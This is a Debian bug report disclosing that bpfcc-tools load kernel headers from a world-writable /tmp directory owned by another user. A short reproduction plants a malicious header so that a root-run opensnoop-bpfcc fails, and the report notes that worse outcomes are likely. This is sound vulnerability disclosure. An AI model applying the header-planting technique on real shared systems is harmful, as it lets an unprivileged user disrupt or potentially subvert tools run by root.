Package: bpfcc-tools
Version: 0.25.0+ds-1
Tags: security

If kernel headers are not installed in the usual place, the BPF tools try to look them up in /tmp/kheaders-$(uname -r)/, even when this directory is owned by another user.

This can be exploited for denial of service, or likely something worse.

To reproduce, run this as a normal user:

   $ mkdir /tmp/kheaders-$(uname -r)/
   $ mkdir -p /tmp/kheaders-$(uname -r)/include/linux/
   $ echo "#error this header is malicious" > /tmp/kheaders-$(uname 
-r)/include/linux/kconfig.h

Then run this as root:

   # opensnoop-bpfcc
   In file included from <built-in>:1:
   ././include/linux/kconfig.h:1:2: error: this header is malicious
   #error this header is malicious
    ^
   In file included from <built-in>:2:
   /virtual/include/bcc/bpf.h:12:10: fatal error: 'linux/types.h' file not found
   #include <linux/types.h>
            ^~~~~~~~~~~~~~~
   2 errors generated.
   Traceback (most recent call last):
     File "/usr/sbin/opensnoop-bpfcc", line 261, in <module>
       b = BPF(text='')
           ^^^^^^^^^^^^
     File "/usr/lib/python3/dist-packages/bcc/__init__.py", line 476, in 
__init__
       raise Exception("Failed to compile BPF module %s" % (src_file or 
"<text>"))
   Exception: Failed to compile BPF module <text>


-- System Information:
Debian Release: bookworm/sid
  APT prefers unstable
  APT policy: (500, 'unstable')
Architecture: amd64 (x86_64)

Kernel: Linux 6.1.0-1-amd64 (SMP w/1 CPU thread; PREEMPT)
Locale: LANG=C.UTF-8, LC_CTYPE=pl_PL.UTF-8 (charmap=UTF-8), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages bpfcc-tools depends on:
ii  python3          3.11.1-1
ii  python3-bpfcc    0.25.0+ds-1
ii  python3-netaddr  0.8.0-2

--
Jakub Wilk

Reply via email to